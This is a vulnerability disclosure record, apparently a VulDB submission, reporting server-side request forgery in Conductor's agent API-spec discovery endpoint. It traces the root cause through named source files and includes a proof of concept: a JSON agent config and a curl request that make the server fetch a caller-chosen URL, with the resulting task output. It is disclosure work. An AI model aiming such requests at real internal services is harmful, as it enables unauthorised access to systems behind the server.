| tiêu đề | Conductor >= 3.31.2 (audited commit ce46eac) server-side request forgery (CWE-918) |
|---|
| Mô tả | AgentSpan API-spec discovery fetches an unrestricted attacker-selected URL
AgentSpan API-spec discovery fetches an unrestricted attacker-selected URL
Data flow: HTTP JSON AgentStartRequest.agentConfig.tools[].config.url or spec_url at POST /api/agent/start → ListApiToolsTask HttpClient.send(HttpRequest) while fetching specUrl
AFFECTED INTERFACES
- POST /api/agent/start with inline agentConfig API tool config.url/spec_url and non-empty prompt
Primary route detail:
The direct interface is POST /api/agent/start with a JSON AgentStartRequest containing a non-empty prompt and inline agentConfig. The nested agentConfig.tools[] list may contain an API tool whose config.url or config.spec_url is an arbitrary API-spec URL. The same source can be compiled through POST /api/agent/compile or registered through POST /api/agent/deploy, but those routes do not themselves execute the fetch; /start is the execution trigger.
The controller is enabled only when conductor.integrations.ai.enabled=true. The request must pass the normal Conductor deployment authentication/authorization boundary and the agent must be configured sufficiently for execution; no anonymous-access claim is made. Harmless local-shape example, not sent by this audit:
{"prompt":"local test","agentConfig":{"name":"local_api","model":"configured-model","tools":[{"name":"catalog","toolType":"api","config":{"url":"http://127.0.0.1:18083/openapi.json"}}]}}
ROOT CAUSE
The explicit taint flow is:
HTTP JSON AgentStartRequest.agentConfig.tools[].config.url → AgentController.startAgent() (AgentController.java:91-94) → AgentService.start() (AgentService.java:217-227) → startInline() (:261-293) → AgentCompiler.compile() → ToolCompiler.buildApiDiscoveryTasks() (ToolCompiler.java:948-993) → generated LIST_API_TOOLS task input specUrl → ListApiToolsTask.start() (ListApiToolsTask.java:97-113) → fetchSpec()/attemptFetch() (:180-206) → sendWithValidatedRedirects() (:242-253) → URI.create(currentUrl) / HttpRequest → httpClient.send(...).
AgentStartRequest.java:49-72 accepts the inline configuration and ToolConfig.java:30-50 carries the type-specific config map. The compiler reads url or spec_url without a host or network-range check and emits it unchanged as specUrl. The task then creates and sends a Java HttpClient GET request to that value. The code disables automatic redirects, limits redirect count, rejects CR/LF in headers, and avoids forwarding sensitive headers across origins, but it never rejects loopback, link-local, RFC1918, reserved, metadata, or other unintended destinations. The sensitive sink is the outbound server-side HTTP request and response read (httpClient.send with BodyHandlers.ofByteArray), not merely the URL field.
The root cause is treating redirect and credential handling as a destination policy. The fetched body is parsed as an OpenAPI/Swagger/Postman document and placed into task output, so an attacker can make the Conductor server access a reachable HTTP service and consume its response. This is distinct from the generic workflow HTTP task (RestTemplate sink) and from the MCP server configuration (OkHttp sink), which we reported separately: the source field, compiler, system task, sink implementation, and execution path are different.
Impact is server-side access to HTTP services reachable from the Conductor server's network identity, with response bytes returned into workflow execution data. Triggering requires AI integration, an agent-start principal, and an API tool configuration; this audit contacted no internal, cloud, third-party, or real user service.
PROOF OF CONCEPT
Baseline: commit ce46eac, server on 127.0.0.1:18080 with
conductor.integrations.ai.enabled=true. The destination is a test-local HTTP listener at
192.168.240.2:18081 (a separate container on a test-only bridge network), so nothing leaves the
test host; any host/port reachable from the server can be substituted.
1. Start an agent whose inline API tool points at the listener (no Authorization header):
$ cat agent-start.json
{
"prompt": "local-api-spec-canary",
"agentConfig": {
"name": "api-discovery-test",
"description": "local API discovery validation",
"model": "<provider>/<model configured on the instance>",
"instructions": "Use the available local catalog and finish promptly.",
"maxTurns": 1,
"timeoutSeconds": 5,
"tools": [
{
"name": "local_catalog",
"description": "local API catalog",
"toolType": "api",
"config": { "url": "http://192.168.240.2:18081/openapi.json" }
}
]
}
}
$ curl -s -X POST 'http://127.0.0.1:18080/api/agent/start' \
-H 'Content-Type: application/json' -d @agent-start.json
{"executionId":"2286de8f-0bbe-4187-b721-65e495021067","agentName":"api-discovery-test","requiredWorkers":[]}
2. What the listener received - the server-side fetch issued by the generated LIST_API_TOOLS
task:
$ cat mock-requests.jsonl
method=GET path=/openapi.json canary=local-ssrf-canary body=""
3. Task output (GET /api/agent/executions/{executionId}): the discovery step on the Conductor
server fetched the caller-supplied URL and handed the parsed document back into the execution data:
{"taskType": "LIST_API_TOOLS", "status": "COMPLETED",
"inputData": {"specUrl": "http://192.168.240.2:18081/openapi.json"},
"outputData": {"tools": [], "baseUrl": "http://192.168.240.2:18081", "format": "openapi3"}}
The address the caller supplied is what the server fetched, and the base URL of the parsed document
(192.168.240.2:18081) is returned in the task output: the caller both selects the destination and
reads the response body.
IMPACT
See the interface and root-cause sections: an actor who satisfies the stated preconditions makes the server perform a request or operation on a destination/target of the attacker's choosing, crossing the trust boundary described above.
- Project repository: https://github.com/conductor-oss/conductor
- Security policy: `SECURITY.md` in that repository.
- **Vendor contact**: GitHub Private Vulnerability Reporting - conductor-oss/conductor
- **Status**: vendor notified 2026-09-14 through GitHub Private Vulnerability Reporting; private report https://github.com/conductor-oss/conductor/security/advisories/GHSA-g2c5-2x77-q7xv; not publicly disclosed; no CVE assigned
- **Duplicate check**: public advisories (NVD/OSV/GitHub) and the project issue tracker were searched before reporting; please tell us if this duplicates something already tracked internally.
|
|---|
| Người dùng | lucasg2g (UID 84737) |
|---|
| Đệ trình | 15/09/2026 09:21 (cách đây 29 ngày) |
|---|
| Kiểm duyệt | 12/10/2026 15:14 (27 days later) |
|---|
| Trạng thái | được chấp nhận |
|---|
| Mục VulDB | 416898 [conductor-oss conductor 3.31.2 API Tool Configuration ListApiToolsTask.java ListApiToolsTask.start specUrl nâng cao đặc quyền] |
|---|
| điểm | 17 |
|---|